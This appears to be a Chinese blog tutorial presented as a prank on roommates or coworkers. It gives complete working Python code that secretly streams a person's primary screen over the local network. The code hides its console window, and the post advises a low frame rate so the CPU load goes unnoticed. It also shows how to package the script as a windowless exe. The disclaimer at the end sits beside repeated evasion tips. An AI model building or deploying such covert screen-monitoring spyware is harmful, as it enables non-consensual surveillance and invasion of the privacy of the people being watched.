恶搞舍友/工友之看看你在干什么!

继之前那个"恶搞脚本之借用你的摄像头"后,又突发奇想:既然能看到对方的脸,那能不能看到对方的显示器呢?于是有了这个升级版——不仅能看,还能在多显示器环境下精准选择主显示器进行监控!

同样是无感"偷窥",这次是桌面级的全方位监控。

Python脚本实现

from flask import Flask, Response
import cv2
import numpy as np
import mss
import sys
import time

# 安装依赖:pip install opencv-python flask mss numpy -i https://mirrors.aliyun.com/pypi/simple/

def hide_console():
    if sys.platform == 'win32':
        import ctypes
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

app = Flask(__name__)

# ========== 可配置参数 ==========
OUTPUT_SIZE = None          # 缩放分辨率,例如 (1280, 720) 或 None
FPS_LIMIT = 20              # 帧率限制(建议降低以减少CPU占用,避免被察觉)
JPEG_QUALITY = 85           # JPEG 质量
COLOR_MODE = 'BGR'          # 颜色模式: 'BGR' (默认), 'RGB2BGR', 'BGRA2BGR'
# ===============================

def generate_frames():
    """
    每个客户端连接时独立创建 mss 实例,避免多线程冲突
    """
    with mss.mss() as sct:
        # 选择主显示器(索引1),如果不存在则回退到全虚拟屏幕(索引0)
        if len(sct.monitors) > 1:
            monitor = sct.monitors[1]   # 主显示器
        else:
            monitor = sct.monitors[0]   # 所有屏幕的虚拟组合

        last_time = time.time()

        while True:
            try:
                # 捕获屏幕
                img = sct.grab(monitor)
                # 转为 numpy 数组 (原始格式通常是 RGB 或 BGRA)
                frame = np.array(img)

                # 根据配置进行颜色转换
                if COLOR_MODE == 'RGB2BGR':
                    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
                elif COLOR_MODE == 'BGRA2BGR':
                    frame = cv2.cvtColor(frame, cv2.COLOR_BGRA2BGR)
                # 如果 COLOR_MODE == 'BGR',则不做任何转换(直接使用原始数据)

                # 可选缩放
                if OUTPUT_SIZE:
                    frame = cv2.resize(frame, OUTPUT_SIZE, interpolation=cv2.INTER_LINEAR)

                # 编码为 JPEG
                encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), JPEG_QUALITY]
                ret, buffer = cv2.imencode('.jpg', frame, encode_param)
                if not ret:
                    continue

                yield (b'--frame\r\n'
                       b'Content-Type: image/jpeg\r\n\r\n' + buffer.tobytes() + b'\r\n')

                # 帧率控制
                if FPS_LIMIT > 0:
                    elapsed = time.time() - last_time
                    sleep_time = 1.0 / FPS_LIMIT - elapsed
                    if sleep_time > 0:
                        time.sleep(sleep_time)
                    last_time = time.time()

            except Exception as e:
                print(f"屏幕捕获异常: {e}")
                # 生成一个错误提示帧,避免客户端断开
                error_img = np.zeros((480, 640, 3), dtype=np.uint8)
                cv2.putText(error_img, "Screen capture error", (50, 240),
                            cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)
                ret, buffer = cv2.imencode('.jpg', error_img)
                frame_bytes = buffer.tobytes() if ret else b''
                yield (b'--frame\r\n'
                       b'Content-Type: image/jpeg\r\n\r\n' + frame_bytes + b'\r\n')
                time.sleep(1)  # 避免错误时疯狂重试

@app.route('/')
def video_feed():
    return Response(generate_frames(),
                    mimetype='multipart/x-mixed-replace; boundary=frame')

if __name__ == '__main__':
    hide_console()  # 若调试时可注释掉
    # debug=False 避免弹窗,threaded=True 支持多线程(现在每个线程独立 mss,不会冲突)
    app.run(host='0.0.0.0', port=8032, debug=False, threaded=True)

运行步骤

  1. 以管理员身份运行:Windows上捕获屏幕可能需要管理员权限
    • 右键点击命令提示符或PowerShell → "以管理员身份运行"
  2. 进入脚本目录并执行:
    cd /d E:\文章页\共享屏幕
    python gongxiangpiingmu.py
  3. 访问地址:
    • 本机:http://127.0.0.1:8032/
    • 局域网其他设备:http://192.168.1.36:8032/(IP以实际显示的为准)
  4. 测试:打开浏览器访问上述地址,应能实时看到主屏幕内容

核心特性

  • 自动选择主显示器:在多显示器环境下,自动选择主显示器(monitors[1])进行捕获,若不存在则回退到虚拟全屏(monitors[0])
  • 性能优化:支持帧率限制(FPS_LIMIT)和分辨率缩放(OUTPUT_SIZE),平衡画质与CPU占用。建议将FPS_LIMIT设置为较低值(如10-20),避免高CPU占用引起注意
  • 多线程安全:每个客户端连接独立创建mss实例,彻底解决'_thread._local' object has no attribute 'srcdc'错误
  • 灵活的颜色模式:支持BGR、RGB2BGR、BGRA2BGR三种颜色模式切换,可根据实际显示效果调整
  • 异常处理:即使单次捕获失败也能继续运行并返回错误提示帧,避免生成器意外终止

常见问题与解决方案

1. 报错 '_thread._local' object has no attribute 'srcdc'

原因:mss库在多线程环境下的已知问题,Flask的threaded=True会为每个请求开启新线程。

解决:将mss实例的创建移到generate_frames函数内部(上面代码已修正),确保每个线程拥有独立的屏幕捕获上下文。

2. 屏幕捕获失败

可能原因:Windows上可能需要管理员权限,或者多显示器索引错误。

解决方案:

  • 以管理员身份运行脚本
  • 尝试修改显示器索引:monitor = sct.monitors[0](索引0代表所有屏幕的虚拟组合)
  • 运行以下代码查看所有显示器信息:
    import mss
    with mss.mss() as sct:
        for i, mon in enumerate(sct.monitors):
            print(i, mon)

3. 颜色显示异常(红蓝颠倒等)

原因:mss在不同系统/环境下返回的原始数据格式可能不同(可能是RGB、BGR或BGRA)。

解决方案:修改代码顶部的 COLOR_MODE 参数:

  • 如果红蓝互换(例如红色的文件夹显示为蓝色)→ 设置 COLOR_MODE = 'RGB2BGR'(最常见的修正)
  • 如果画面整体偏紫或过暗 → 尝试 COLOR_MODE = 'BGRA2BGR'(去除alpha通道)
  • 如果颜色本来就很正常 → 保持 COLOR_MODE = 'BGR'(不做转换)

4. OpenCV编码参数错误

部分OpenCV版本中参数格式可能有问题,使用列表形式而非字典:[int(cv2.IMWRITE_JPEG_QUALITY), 85]

如果问题仍然存在

  • 尝试单线程模式:app.run() 中添加 threaded=False,强制单线程模式(牺牲多客户端并发性能,但可确认是否彻底解决冲突)。若单线程下正常,说明确实是多线程问题,上面的解决方案应该已经修复。
  • 更新库版本:确保mss是最新版:
    pip install --upgrade mss
  • 检查屏幕捕获权限:某些Windows版本(尤其是远程桌面环境)可能禁止屏幕捕获。可以尝试用其他库(如pyautogui)测试,但性能较差,不推荐。

其他用途

这不仅仅是恶搞工具,还可以作为:

  • 远程技术支持:如果有服务器的话,无需安装额外软件,通过浏览器即可实时查看用户屏幕
  • 教学演示:在局域网内分享操作过程,适合培训场景
  • 家庭监控:配合服务器改造,实现远程桌面监控
  • 工作审计:记录员工电脑使用情况(需合法授权)

没有Python环境怎么办?

同样可以打包成exe文件!

示例命令:

# 安装pyinstaller
pip install pyinstaller

# 打包成单个exe文件(无控制台窗口)
pyinstaller --onefile --noconsole --name screen_monitor your_script.py

打包后会生成一个独立的 .exe 文件,可以直接在Windows上运行,无需安装Python环境。

注意事项

  • ⚠️ 本文仅供技术学习和娱乐,请勿用于非法用途
  • ⚠️ 未经他人同意监控他人显示器可能涉及严重的隐私侵权问题
  • ⚠️ 建议在授权范围内使用,请尊重他人隐私权
  • ⚠️ 屏幕共享会消耗一定的CPU资源,为了不被察觉,建议将FPS_LIMIT改低一些(如10-20),高了CPU占用会很突出
  • ⚠️ 首次运行可能需要防火墙允许Python访问网络(指定端口)